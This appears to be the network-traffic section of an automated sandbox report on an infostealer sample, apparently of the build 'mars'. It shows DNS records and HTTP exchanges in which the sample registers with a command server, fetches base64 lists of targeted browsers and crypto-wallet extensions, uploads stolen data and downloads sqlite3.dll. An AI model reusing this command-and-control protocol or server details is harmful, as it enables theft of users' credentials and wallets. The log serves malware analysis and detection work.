Nov 19, 2024 20:05:42.974569082 CET	1.1.1.1	192.168.2.7	0xf754	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 19, 2024 20:05:42.976612091 CET	1.1.1.1	192.168.2.7	0xc46a	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 19, 2024 20:05:42.976612091 CET	1.1.1.1	192.168.2.7	0xc46a	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 19, 2024 20:05:49.633022070 CET	1.1.1.1	192.168.2.7	0xf128	No error (0)	r.msftstatic.com	r-msftstatic-com.a-0016.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 20:05:49.633033037 CET	1.1.1.1	192.168.2.7	0x5643	No error (0)	r.msftstatic.com	r-msftstatic-com.a-0016.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 20:05:50.780174971 CET	1.1.1.1	192.168.2.7	0x42b9	Name error (3)	198.187.3.20.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Nov 19, 2024 20:06:39.605994940 CET	1.1.1.1	192.168.2.7	0xb2f	No error (0)	deff.nelreports.net	deff.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 19, 2024 20:06:43.810641050 CET	1.1.1.1	192.168.2.7	0x63c6	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49718	185.215.113.206	80	2756	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 20:05:22.054089069 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 19, 2024 20:05:22.812422991 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 19, 2024 20:05:22.815496922 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGHIIJDGHCBFIECBKEGH Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 33 46 34 42 35 30 45 33 43 34 39 31 35 38 34 32 36 35 39 32 31 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 48 2d 2d 0d 0a Data Ascii: ------BGHIIJDGHCBFIECBKEGHContent-Disposition: form-data; name="hwid"83F4B50E3C491584265921------BGHIIJDGHCBFIECBKEGHContent-Disposition: form-data; name="build"mars------BGHIIJDGHCBFIECBKEGH--
Nov 19, 2024 20:05:23.061039925 CET	407	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:22 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 6a 5a 6d 4d 6d 51 31 4e 6d 45 30 59 54 4d 79 4d 44 4d 7a 4d 7a 6b 77 4d 7a 6b 32 4d 57 59 32 4d 6a 4d 32 5a 47 5a 6d 4f 44 6b 32 4f 44 4e 6c 4d 44 6b 7a 59 54 46 69 5a 54 46 69 4f 57 4a 6b 59 7a 55 30 4d 32 55 30 5a 44 68 6c 4e 54 67 34 4d 32 59 34 5a 6a 67 7a 4e 7a 64 68 4e 57 55 30 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MjZmMmQ1NmE0YTMyMDMzMzkwMzk2MWY2MjM2ZGZmODk2ODNlMDkzYTFiZTFiOWJkYzU0M2U0ZDhlNTg4M2Y4ZjgzNzdhNWU0fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 19, 2024 20:05:23.063353062 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEHIJKKFHIEGCBGCAFIJ Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 43 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 36 66 32 64 35 36 61 34 61 33 32 30 33 33 33 39 30 33 39 36 31 66 36 32 33 36 64 66 66 38 39 36 38 33 65 30 39 33 61 31 62 65 31 62 39 62 64 63 35 34 33 65 34 64 38 65 35 38 38 33 66 38 66 38 33 37 37 61 35 65 34 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 43 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 43 41 46 49 4a 2d 2d 0d 0a Data Ascii: ------AEHIJKKFHIEGCBGCAFIJContent-Disposition: form-data; name="token"26f2d56a4a320333903961f6236dff89683e093a1be1b9bdc543e4d8e5883f8f8377a5e4------AEHIJKKFHIEGCBGCAFIJContent-Disposition: form-data; name="message"browsers------AEHIJKKFHIEGCBGCAFIJ--
Nov 19, 2024 20:05:23.284733057 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:23 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 19, 2024 20:05:23.284806013 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 19, 2024 20:05:23.291191101 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGHCBKKKFHCGCBFIJEHD Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 48 43 42 4b 4b 4b 46 48 43 47 43 42 46 49 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 36 66 32 64 35 36 61 34 61 33 32 30 33 33 33 39 30 33 39 36 31 66 36 32 33 36 64 66 66 38 39 36 38 33 65 30 39 33 61 31 62 65 31 62 39 62 64 63 35 34 33 65 34 64 38 65 35 38 38 33 66 38 66 38 33 37 37 61 35 65 34 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 43 42 4b 4b 4b 46 48 43 47 43 42 46 49 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 43 42 4b 4b 4b 46 48 43 47 43 42 46 49 4a 45 48 44 2d 2d 0d 0a Data Ascii: ------EGHCBKKKFHCGCBFIJEHDContent-Disposition: form-data; name="token"26f2d56a4a320333903961f6236dff89683e093a1be1b9bdc543e4d8e5883f8f8377a5e4------EGHCBKKKFHCGCBFIJEHDContent-Disposition: form-data; name="message"plugins------EGHCBKKKFHCGCBFIJEHD--
Nov 19, 2024 20:05:23.510900974 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:23 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 19, 2024 20:05:23.510922909 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 19, 2024 20:05:23.510935068 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 19, 2024 20:05:23.511014938 CET	672	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 19, 2024 20:05:23.511032104 CET	1236	IN	Data Raw: 64 47 6c 6a 59 58 52 76 63 6e 78 70 62 47 64 6a 62 6d 68 6c 62 48 42 6a 61 47 35 6a 5a 57 56 70 63 47 6c 77 61 57 70 68 62 47 70 72 59 6d 78 69 59 32 39 69 62 48 77 78 66 44 42 38 4d 48 78 43 61 58 52 33 59 58 4a 6b 5a 57 35 38 62 6d 35 6e 59 32 Data Ascii: dGljYXRvcnxpbGdjbmhlbHBjaG5jZWVpcGlwaWphbGprYmxiY29ibHwxfDB8MHxCaXR3YXJkZW58bm5nY2Vja2JhcGViZmltbmxuaWlpYWhrYW5kY2xibGJ8MXwwfDB8S2VlUGFzc1hDfG9ib29uYWtlbW9mcGFsY2dnaG9jZm9hZG9maWRqa2trfDF8MHwwfERhc2hsYW5lfGZkamFtYWtwZmJiZGRmamFvb2lrZmNwYXBqb2h
Nov 19, 2024 20:05:23.511044979 CET	1236	IN	Data Raw: 63 47 35 72 62 57 52 71 63 47 39 6a 5a 32 74 6f 59 58 77 78 66 44 42 38 4d 48 78 44 62 32 6c 75 61 48 56 69 66 47 70 6e 59 57 46 70 62 57 46 71 61 58 42 69 63 47 52 76 5a 33 42 6b 5a 32 78 6f 59 58 42 6f 62 47 52 68 61 32 6c 72 5a 32 56 6d 66 44 Data Ascii: cG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJvbnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZwamthcGZiaWhkfDF8MHw
Nov 19, 2024 20:05:23.511056900 CET	492	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 76 62 57 46 68 59 6d 4a 6c 5a 6d 4a 74 61 57 6c 71 5a 57 52 75 5a 33 42 73 5a 6d 70 74 62 6d 39 76 63 48 42 69 59 32 78 72 61 33 77 78 66 44 42 38 4d 48 78 50 63 47 56 75 54 57 46 7a 61 79 42 58 59 57 78 73 5a 58 Data Ascii: IFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1
Nov 19, 2024 20:05:23.513716936 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KECBKKEBKEBFCAAAEGDH Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 43 42 4b 4b 45 42 4b 45 42 46 43 41 41 41 45 47 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 36 66 32 64 35 36 61 34 61 33 32 30 33 33 33 39 30 33 39 36 31 66 36 32 33 36 64 66 66 38 39 36 38 33 65 30 39 33 61 31 62 65 31 62 39 62 64 63 35 34 33 65 34 64 38 65 35 38 38 33 66 38 66 38 33 37 37 61 35 65 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 42 4b 4b 45 42 4b 45 42 46 43 41 41 41 45 47 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 42 4b 4b 45 42 4b 45 42 46 43 41 41 41 45 47 44 48 2d 2d 0d 0a Data Ascii: ------KECBKKEBKEBFCAAAEGDHContent-Disposition: form-data; name="token"26f2d56a4a320333903961f6236dff89683e093a1be1b9bdc543e4d8e5883f8f8377a5e4------KECBKKEBKEBFCAAAEGDHContent-Disposition: form-data; name="message"fplugins------KECBKKEBKEBFCAAAEGDH--
Nov 19, 2024 20:05:23.735444069 CET	335	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:23 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 19, 2024 20:05:24.112719059 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKFHIIEHIEGDHJJJKFI Host: 185.215.113.206 Content-Length: 6871 Connection: Keep-Alive Cache-Control: no-cache
Nov 19, 2024 20:05:24.112782955 CET	6871	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 36 66 32 64 35 Data Ascii: ------IJKFHIIEHIEGDHJJJKFIContent-Disposition: form-data; name="token"26f2d56a4a320333903961f6236dff89683e093a1be1b9bdc543e4d8e5883f8f8377a5e4------IJKFHIIEHIEGDHJJJKFIContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 19, 2024 20:05:24.865160942 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 19, 2024 20:05:25.157993078 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 19, 2024 20:05:25.361932993 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 19, 2024 20:05:25.578792095 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:25 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
